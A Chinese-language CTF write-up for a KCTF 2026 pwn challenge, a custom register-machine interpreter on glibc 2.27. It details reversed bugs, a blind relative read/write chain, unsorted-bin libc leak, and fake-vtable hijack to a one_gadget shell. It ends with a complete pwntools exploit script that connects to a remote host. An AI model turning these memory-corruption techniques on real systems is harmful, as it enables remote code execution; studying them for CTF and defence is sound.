首页
社区
课程
招聘
[原创]第十题:卯时·曦光初现2026-KCTF10-PWN
发表于: 2026-8-23 15:34 139

[原创]第十题:卯时·曦光初现2026-KCTF10-PWN

2026-8-23 15:34
139

kctf pwn Writeup —— 无输出原语的解释器盲利用(glibc-2.27)

题目:pwn(自定义寄存器机解释器)
环境:Ubuntu 18.04 / glibc 2.27-3ubuntu1.6(题目附带 libc-2.27.so,BuildID f7307432a8b162377e77a182b6cc2e53)


0. 总结(TL;DR)

程序是一个 C++ 编写的"寄存器机解释器":256 个 64 位寄存器 + 64KB 堆上 arena 存列表,数值带 0x1337/0xBEEF 双 tag 并与启动时从 /dev/urandom 读入的随机 cookie 异或存储。程序没有任何数值输出原语(只有 invalid syntax! / runtime error! 两种提示),逼迫攻击者做"盲利用"。

漏洞组合拳:

  1. 数字字面量被截断为 48 位,但 BinOp 四则/位运算结果是完整 64 位 → 可构造带 0xBEEF tag 的值;
  2. SetField($A[i]=$B)写元素时只检查 0x1337 tag,不检查 0xBEEF → 可在 arena 植入伪造节点头 BEEF|count;
  3. 走链函数 sub_1EDA 按伪造 count 逐槽前跳 → arena 之后的任意相对越界读/写,且读自动异或 cookie 解码、写自动编码。

于是"读 + 写 + 寄存器运算"三者闭环,可以全程在寄存器里盲算出 cookie、堆地址、libc 基址,最终:

伪造 chunk size=0x421 → free 落入 unsorted bin → 读 fd 盲算 libc
→ arena 里伪造虚表写 one_gadget
→ 触发行 eval 期间覆写"当前 SetField AST 节点"的虚表指针
→ main 在 eval 返回后调用 [vtable+16] → one_gadget → execve("/bin/sh")

1. 初步分析

pwn: ELF 64-bit LSB pie executable, x86-64, dynamically linked, stripped
保护: PIE + Full RELRO (BIND_NOW) + NX + Canary
依赖: libstdc++.so.6, libgcc_s.so.1, libc.so.6
导入符号亮点: operator new[]/delete[], strtoul, memcpy, ifstream 系列(读 /dev/urandom),
             istream::read/getline, __cxa_atexit

用 IDA(MCP 接口 + capstone 交叉验证)定位:

地址 作用
0x2d09 main
0x2b14 语句解析总入口($数字 + 操作符 分发)
0x263c / 0x30de BinOp 解析 / 求值
0x2abc AssignLit 解析($A=<数或列表>)
0x22d7 / 0x36e6 GetField($A=$B[i][j])解析 / 求值
0x1f91 / 0x3886 SetField($A[i]=$B)解析 / 求值
0x283e 表达式(数字/嵌套列表字面量)解析
0x1eda 走链函数(sub_1EDA,核心)
0x2f50 全局构造器:new[](0x10000) 做 arena + 初始化 cookie
0x2fb6 Number 物化(value & 0xFFFFFFFFFFFF,48 位截断!)
0x31dc / 0x3036 Object 物化(bump 分配)/ 序列化

RTTI 类型名(.data.rel.ro 重建虚表得到):interpreter::{Ast, Literal, Number, Object, AssignLit, GetField, SetField, BinOp}。

2. 程序模型

2.1 运行时状态

ctx[256]      @ PIE+0x2062A0   64 位寄存器 $0..$255
arena_state   @ PIE+0x206AA0   {begin, bump} —— 64KB 堆上 bump arena
cookie        @ PIE+0x206AB0   全局构造器从 /dev/urandom 读 8 字子(每次运行随机)

2.2 值的 tag 表示

寄存器值:
  普通 64 位值              —— 无 0x1337 tag
  列表引用                  —— 0x1337_0000_0000_0000 | ptr48

arena 内节点(全部与 cookie 异或存储):
  节点头                    —— cookie ^ (0xBEEF_0000_0000_0000 | count48)
  元素                      —— cookie ^ 值
  嵌套列表头                —— 内联,同样是 BEEF|count

嵌套列表是内联展开的:[1,[2,3],4] 在内存里就是 [BEEF|3][1][BEEF|2][2][3][4]。走链时遇到 BEEF 槽会递归跳过其 count 个槽(把整个子列表当作一个元素跳过)。

2.3 语法(逆向得到)

$A=<数字>          # A = 数字 & 0xFFFFFFFFFFFF  ← 48 位截断!
$A=[1,2,[3,4]]     # 列表物化到 arena,A = 0x1337|ptr
$A=$B              # 原样 64 位拷贝
$A=$B[i1][i2]      # GetField:走链读,解码后放入 A
$A[i1][i2]=$B      # SetField:走链写 cookie^ctx[B](B 必须无 0x1337 tag)
$A <op> $B         # BinOp:ctx[A] = ctx[A] op ctx[B],op ∈ + - * / % ^ | &
                   # 两侧都必须无 0x1337 tag;除 0 直接 SIGFPE(可当 oracle)

注意:寄存器名和索引只能是数字($a 非法);索引值经 strtoul 是完整 64 位;语句必须整行精确消耗(尾部多余字符 → invalid syntax!)。

2.4 走链函数 sub_1EDA(伪代码)

// node 指向一个节点头,返回第 idx 个元素槽的地址
qword* sub_1EDA(qword* node, u64 idx) {
    hdr = *node ^ cookie;
    if ((hdr & 0xFFFF000000000000) != 0xBEEF<<48) return 0;   // tag 检查
    if ((hdr & 0xFFFFFFFFFFFF) < idx) return 0;               // 边界检查(idx<=count)
    p = node + 1;
    for (i = 0; i < idx; i++) {
        v = *p ^ cookie;
        if ((v & 0xFFFF000000000000) == 0xBEEF<<48)
            p = sub_1EDA(p, v & 0xFFFFFFFFFFFF);   // 遇到嵌套头 → 递归跳过整个子列表
        else
            p += 8;
    }
    return p;
}

GetField/SetField 的求值都是:先检查首层 idx < count,再 sub_1EDA(node, idx) 走到目标槽,最后读(要求解码后非 BEEF tag)或写(*p = cookie ^ ctx[B])。

3. 漏洞分析

3.1 原语盘点

语句 原语
BinOp 任意 64 位寄存器运算(含 tag 构造)
GetField 走链 相对 arena 的越界读(自动 XOR cookie 解码进寄存器)
SetField 走链 相对 arena 的越界写(自动 XOR cookie 编码)
除零 崩溃 oracle(调试期验证用)

3.2 三个漏洞点

① 48 位截断可绕过(sub_2FB6 vs BinOp)

$2=13758215386640154627(= 0xBEEF000000000003)会被截成 0x3——数字字面量进不了高 16 位。但 BinOp 是 64 位运算:

$1=17592186044416        # 2^44
$2=782064                # 0xBEEF0
$2*$1                    # ctx2 = 0xBEEF000000000000  ✓

② SetField 源值检查缺失 BEEF(sub_3886)

38d9  cmp [0x1337000000000000 与 ctx[B] 的 tag]   ; 只挡 0x1337
3a07  xor r12, rcx                                ; r12 = cookie ^ ctx[B]
3a0a  mov [rdi], r12                              ; 写入目标槽

即可以写入解码后带 0xBEEF tag 的值 → 伪造节点头。

③ 伪造头 + 走链 = 任意相对读写

在列表元素上植入 BEEF|count 后,$r=$L[1] / $L[1]=$r 的走链会从该元素 +8 处起跳 count 个槽——count 最大 2^48,可到达 arena 之后的任意堆地址。

关键观察(可靠性基础):走链逐槽读取时只对解码后 tag==BEEF 的槽分叉。用户态指针/堆元数据的高 16 位全为 0,解码后 tag = cookie 高 16 位,整轮运行"要么全部分叉要么全不分叉"(1/65536 的运气,失败重连即可);arena 零区同理。因此长走链是确定性的。

3.3 为什么必须"盲利用"

程序唯一的输出是错误提示。寄存器值既不能打印也不能当跳转条件。所以所有泄漏都必须读进寄存器后用 BinOp 盲算,再把结果通过 SetField 写回堆生效——泄漏的"可见性"只服务于攻击者编写 EXP 时的推理,运行时数据流全程在寄存器里闭环。

4. 利用设计

4.1 被否掉的方案(简述)

  • tcache 投毒 → __free_hook:走链写只能落在堆内(walk 到 libc 要跨越未映射区,逐槽读会 SIGSEGV);而触发写入的分配(string/vector/Number)内容都来自行文本,无法携带运行时算出的地址 → 死路。
  • fastbin attack / House of Force:同理受限于"行文本无法携带寄存器值"以及 cookie 未知的原始写入。
  • 最终选择:劫持 C++ 虚表。AST 节点在堆上(走链可达),虚表指针可以指向 arena 里的假虚表(内容由 SetField 写、地址由寄存器盲算),虚表项再填 libc one_gadget——完美绕开"文本无法携带地址"的限制。

4.2 时间窗口

main 对每条语句:parse(分配 AST 节点/索引 vector)→ call [vtable+0](eval)→ call [vtable+16](析构)。

SetField 语句的 eval 自己就是那个走链写——也就是说,触发行可以在自己的 eval 里覆写自己的 SetField 节点的虚表指针,eval 返回后 main 立刻调用 [假虚表+16]。窗口天然存在,无需二次触发。

4.3 完整链条

阶段1  $20=[0,0] ×8        # 8 个独立 2 元素列表(每个操作一个,避免走链互相分叉)
阶段2  cookie              # 走链落 arena 零区 → 解码值恰为 cookie → $4
阶段3  arena 地址           # 读某空闲 0x20 堆块的 tcache key(=heapbase+0x10)
                            # → $5 = key + (arena-key) = arena 绝对地址
阶段4  伪造 unsorted free   # 预写 victim+0x428=0x21(next size)、victim+0x448=0x21(inuse 位)
                            # 走链写 victim+8 = 0x421(伪造 chunk size,>0x408 绕过 tcache)
                            # 本行结束时该行自己的索引 vector 缓冲区被 free → 进入 unsorted bin
                            # → victim+0x10 被写入 fd = main_arena+X(libc 指针)
阶段5  libc 基址            # 走链读回 fd → $8 = fd ^ cookie;$8^$4 → fd;$8-(fd-libc_base)
阶段6  假虚表               # $5+0x8000 = 假虚表地址;走链把 one_gadget 写到 arena+0x8010(=假虚表+0x10)
阶段7  触发                 # 触发行 eval 走链覆写自身 SetField 节点+0 = 假虚表
                            # main: call [假虚表+16] = one_gadget(0x4f309)
                            # execve("/bin/sh", rsp+0x40, environ)

one_gadget 0x4f309(本题 libc 实测,非通用值):

0x4f309: lea  rdi, [rip+...]      ; "/bin/sh"
         lea  rsi, [rsp+0x40]     ; argv —— 要求 *(rsp+0x40) == NULL
         mov  rdx, [rax]          ; envp
         call execve

[rsp+0x40] 实测落在 getline 栈缓冲区 v16+24(注意:不是想当然的 +0x20,详见 6.6),所以触发行做成"24 字节合法语法 + 40 个 NUL"——语法部分用前导零补齐($0000000000000027[01]=$0005),NUL 紧跟其后(getline 会读入,strlen 截断保证语法解析正确)。

5. 堆布局与校准

利用的可靠性完全取决于走链 count 常数与实际堆布局的逐槽对齐。关键布局(arena 相对偏移,gdb 关闭 ASLR 与裸跑均一致):

arena chunk          0x10010(new[](0x10000))
+0x10000             0x230 chunk(/dev/urandom ifstream 的 filebuf 缓冲区残骸,含随机数据)
+0x10230             (gdb 下 0x50 / 裸跑 0x30 —— 差异源头,见 6.4)
+0x10260             victim(size 写入行弹出的 0x20 tcache 头)
+0x102e0             触发行 SetField 节点(0x40 chunk,[vptr][src=5][dst=27])
victim+0x420/0x428/0x448  伪 chunk 的 next 区(top 零区,可预写)
arena+0x8000/0x8010       假虚表 / one_gadget 槽

最终常数:

c_key1=0x3f9   key2arena=0x11e60   c_key2=0x2042   c_pre1=0x20c3   c_pre2=0x20be
c_size=0x2039  c_leak=0x2039       c_og=0xfec      c_trig=0x2047(=8263,含实测+2修正)
ma2libc=0x3ebca0  og_off=0x4f309   victim=0x10260  node=0x102e0

校准方法(work/ 目录可复现):

  1. driver.py:从常数生成命令流;
  2. walksim.py:精确复刻 sub_1EDA 的递归走链模拟器,在内存快照上搜出"落在目标槽的 count";
  3. coredump.py + corecal2.py:裸跑 + SIGFPE/SIGSEGV core → 从 core 提取 arena/cookie/堆内存 → 逐操作计算常数。

6. 踩坑实录(按时间线)

这些坑每一个都导致"看起来该成功但就是不行",记录如下:

6.1 列表 count 与索引差一

$0=[0]*31 时 $0[31] 直接 runtime error!——首层检查是 idx < count。改成 32 个元素。

6.2 2^48 装不进去

$1=281474976710656(2^48)本身就被 48 位掩码截成 0,$2*$1 恒为 0。改为 0xBEEF0 * 2^44。

6.3 相邻 fake 的递归嵌套

单列表 + 降序植入(elem30、elem29…)时,后面操作的走链会穿过前面植入的 fake,形成递归套递归,第一版模拟器只近似到两层 → 常数算错 → SIGSEGV。两个修复:

  • 结构上:每个操作用独立的 2 元素列表,plant 用 $L[0](index 0 零扫描),use 用 $L[1];
  • 模拟器上:walksim 改成与 sub_1EDA 完全一致的递归。

6.4 gdb 与裸跑堆布局不一致

同一命令流:gdb 下 arena+0x10230 的 chunk 是 0x50,裸跑是 0x30(与 env 无关,是 gdb 环境对启动期分配的影响)。gdb 校准的常数在裸跑全部偏移。解法:放弃 gdb 快照,全部用裸跑 + core dump 校准(ulimit -c unlimited + 除零探针制造崩溃点)。

6.5 探针行污染被测状态

"在某行后面追加崩溃探针再看 core"的方法有系统性偏差:探针自己的分配/释放会改变堆上 tcache fd/key 的分布(keytarget 实测偏移 2 个槽)。解法:SEGV-at-eval 校准——把"当前正在校准的操作"的 count 设成巨大值,让该操作的 eval 自己走链冲出堆段 SIGSEGV,core 即精确的 eval 时刻状态。副作用是该方法无法覆盖"需要在行尾观察"的场景(如 unsorted 写入后的 fd),这些仍用探针 core 但要意识到偏差来源。

6.6 one_gadget 约束地址实测

最初按 v16 = [rsp+0x20] 推断 [rsp+0x40] = v16+0x20,NUL 填充从 32 字节后开始 → execve 返回 EFAULT(strace 可见 execve("/bin/sh", [0x353030...], NULL) = -1 EFAULT,argv 指向了 =$000005 的行内文本)。实测 [rsp+0x40] = v16+24 → 语法压缩到 24 字节、NUL 从 24 开始,一次通过。

6.7 触发行落点差 2

即便全部用 SEGV-at-eval 校准,触发行写入仍差 2 个槽(写入成功、eval 返回 1,但虚表没变)。由于没有输出,用二分探针族定位:对 c_trig+k (k∈[-8,8]) 各跑一次"$97=$27[1] 读回落点 → 与 0x41^cookie(node-8 的 size 字段特征值)异或 → 除零",k=+1 崩溃 → 真实落点比校准值少 2 槽 → c_trig += 2。

教训:模拟器与真实执行之间存在微小系统差(本题为探针行的 stoul 临时串分配数量差异:SetField 形式的 16 位数字临时串只有 1 个,等价 GetField 探针形式有 2 个)。最终以二分探针的实测为准。

7. 最终 EXP

exp.py(完整版见同目录,含注释):

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
kctf pwn exp  —  自定义寄存器机解释器 (libstdc++, glibc-2.27)

漏洞链 (全程盲利用, 无需任何输出泄露):
  1. BinOp 运算可构造任意 64 位寄存器值 (数字字面量被截断为 48 位,
     但 0xBEEF0 * 2^44 = 0xBEEF000000000000 可绕过)
  2. SetField 向列表元素写值时只检查 0x1337 tag, 不检查 0xBEEF tag
     -> 可在 arena 中植入伪造节点头 BEEF|count
  3. sub_1EDA 走链按伪造 count 跳槽 -> 相对 arena 的任意越界读/写
     (读自动 XOR cookie 解码, 写自动编码 -> 读+写+寄存器运算可盲算一切)
  4. 读 arena 未触零区泄漏 cookie; 读 tcache key 盲算 arena 绝对地址
  5. 改写堆上 victim chunk size=0x421 (预写 next size/inuse 位)
     -> 该行结束时 free() 将其放入 unsorted bin -> fd = main_arena+X
     -> 走链读回, 盲算 libc 基址
  6. 在 arena+0x8010 写 one_gadget(0x4f309: execve("/bin/sh", rsp+0x40, environ))
  7. 触发行 eval 期间用走链覆写 *当前* SetField AST 节点的虚表指针
     -> eval 返回后 main 调用 [vtable+16] 即跳入 one_gadget
     -> 约束 [rsp+0x40]==NULL 由触发行内的 NUL 填充满足 -> getshell

用法:
  本地:  python3 exp.py
  远程:  python3 exp.py <host> <port>
"""
import sys, os

from pwn import *

context.log_level = "info"

# ---------------- 校准常数 (固定堆布局, 由本地 gdb/core 校准) ----------------
CONSTS = {
    "c_key1":   0x3f9,     # 走链: list0 -> arena+0x2048 (零区, 读 cookie)
    "key2arena":0x11e60,   # arena - tcache_key
    "c_key2":   0x2042,    # 走链: list1 -> 堆上 tcache key 槽 (读 arena 基址)
    "c_pre1":   0x20c3,    # 走链: list2 -> victim+0x448 (写 0x21, inuse 位)
    "c_pre2":   0x20be,    # 走链: list3 -> victim+0x428 (写 0x21, next size)
    "c_size":   0x2039,    # 走链: list4 -> victim+8    (写 0x421 伪造 chunk size)
    "c_leak":   0x2039,    # 走链: list5 -> victim+0x10 (读 unsorted fd -> libc)
    "c_og":     0xfec,     # 走链: list6 -> arena+0x8010 (写 one_gadget)
    "c_trig":   0x2047,    # 走链: list7 -> SetField 节点+0 (覆写虚表指针)
    "ma2libc":  0x3ebca0,  # unsorted fd - libc_base
    "og_off":   0x4f309,   # one_gadget: execve("/bin/sh", rsp+0x40, environ)
}

def _pad(reg, width):
    s = str(reg).encode()
    assert len(s) <= width
    return b"0" * (width - len(s)) + s

def build_lines(consts):
    def g(k):
        return str(consts[k]).encode()
    L = []
    A = L.append
    # 8 个 2 元素列表 (每操作一个, 避免走链互相干扰)
    for k in range(8):
        A(b"$%d=[0,0]" % (20 + k))
    A(b"$1=17592186044416")          # 2^44
    A(b"$2=782064")                  # 0xBEEF0
    A(b"$2*$1")                      # $2 = 0xBEEF000000000000
    # --- 阶段1: 读 cookie 到 $4 ---
    A(b"$3=" + g("c_key1")); A(b"$2+$3"); A(b"$20[0]=$2"); A(b"$4=$20[1]"); A(b"$2-$3")
    # --- 阶段2: 读 tcache key -> 盲算 arena 绝对地址到 $5 ---
    A(b"$3=" + g("c_key2")); A(b"$2+$3"); A(b"$21[0]=$2"); A(b"$5=$21[1]"); A(b"$2-$3")
    A(b"$5^$4"); A(b"$9=" + g("key2arena")); A(b"$5+$9")
    # --- 阶段3: 预写 victim+0x448 = 0x21 (next-next inuse 位) ---
    A(b"$3=" + g("c_pre1")); A(b"$2+$3"); A(b"$22[0]=$2"); A(b"$7=33"); A(b"$7^$4"); A(b"$22[1]=$7"); A(b"$2-$3")
    # --- 阶段4: 预写 victim+0x428 = 0x21 (next chunk size) ---
    A(b"$3=" + g("c_pre2")); A(b"$2+$3"); A(b"$23[0]=$2"); A(b"$23[1]=$7"); A(b"$2-$3")
    # --- 阶段5: 改 victim size=0x421, 本行结束时被 free 进 unsorted bin ---
    A(b"$3=" + g("c_size")); A(b"$2+$3"); A(b"$24[0]=$2"); A(b"$6=1057"); A(b"$6^$4"); A(b"$24[1]=$6"); A(b"$2-$3")
    # --- 阶段6: 读 unsorted fd -> libc 基址 -> one_gadget 地址 ---
    A(b"$3=" + g("c_leak")); A(b"$2+$3"); A(b"$25[0]=$2"); A(b"$8=$25[1]"); A(b"$2-$3")
    A(b"$8^$4"); A(b"$9=" + g("ma2libc")); A(b"$8-$9"); A(b"$10=" + g("og_off")); A(b"$8+$10")
    # --- 阶段7: 假虚表 arena+0x8000, [假虚表+0x10] = one_gadget ---
    A(b"$3=" + g("c_og")); A(b"$2+$3"); A(b"$26[0]=$2"); A(b"$8^$4"); A(b"$26[1]=$8"); A(b"$2-$3")
    # --- 阶段8: 触发行: 覆写当前 SetField 节点虚表指针 = arena+0x8000 ---
    A(b"$3=" + g("c_trig")); A(b"$2+$3"); A(b"$27[0]=$2"); A(b"$9=32768"); A(b"$5+$9"); A(b"$5^$4")
    trig = b"$" + _pad(27, 13) + b"[" + _pad(1, 2) + b"]=$" + _pad(5, 4)
    assert len(trig) == 24
    A(trig + b"\x00" * 40)           # NUL 填充满足 one_gadget 的 [rsp+0x40]==NULL
    return L

def main():
    if len(sys.argv) >= 3:
        io = remote(sys.argv[1], int(sys.argv[2]))
    else:
        io = process("./pwn_patched")
    payload = b"\n".join(build_lines(CONSTS)) + b"\n"
    io.send(payload)
    log.success("payload sent (%d commands) - waiting for shell" % payload.count(b"\n"))
    io.interactive()

if __name__ == "__main__":
    main()
# 本地: python3 exp.py     远程: python3 exp.py <host> <port>

8. 一点感想

这题的精髓在于"没有输出"这个设计:它把传统的 leak → ROP 流程变成了一场纯数据流游戏——所有泄漏都必须以"读进寄存器 → 盲算 → 写回生效"的方式闭环。相应地,调试手段也被逼成了 oracle 式(除零崩溃探针、二分落点探测、SEGV-at-eval core),最终 30/30 的确定性来自于对"走链只在高 16 位分叉"这一性质的理解。


传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!

收藏
点赞 ・0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回